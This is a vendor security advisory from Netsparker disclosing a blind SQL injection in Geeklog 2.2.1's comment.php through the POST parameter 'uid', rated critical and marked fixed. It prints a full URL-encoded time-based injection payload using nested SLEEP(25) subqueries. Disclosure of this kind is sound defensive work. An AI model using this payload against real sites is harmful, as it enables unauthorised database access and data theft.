Information
--------------------

Advisory by Netsparker
Name: Blind SQL Injection Vulnerability in Geeklog
Affected Software: Geeklog
Affected Versions: 2.2.1
Vendor Homepage: https://www.geeklog.net/
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Fixed
CVSS Score (3.0): 8.6 (High)
Netsparker Advisory Reference: NS-20-002

Technical Details
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Blind SQL Injection

URL  :
https://sectestapp/geeklog-2.2.1/public_html/comment.php#commenteditform
Parameter Name  : uid
Parameter Type  : POST
Attack Pattern  :
2+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

For more information:
https://www.netsparker.com/web-applications-advisories/ns-20-002-blind-sql-injection-in-geeklog/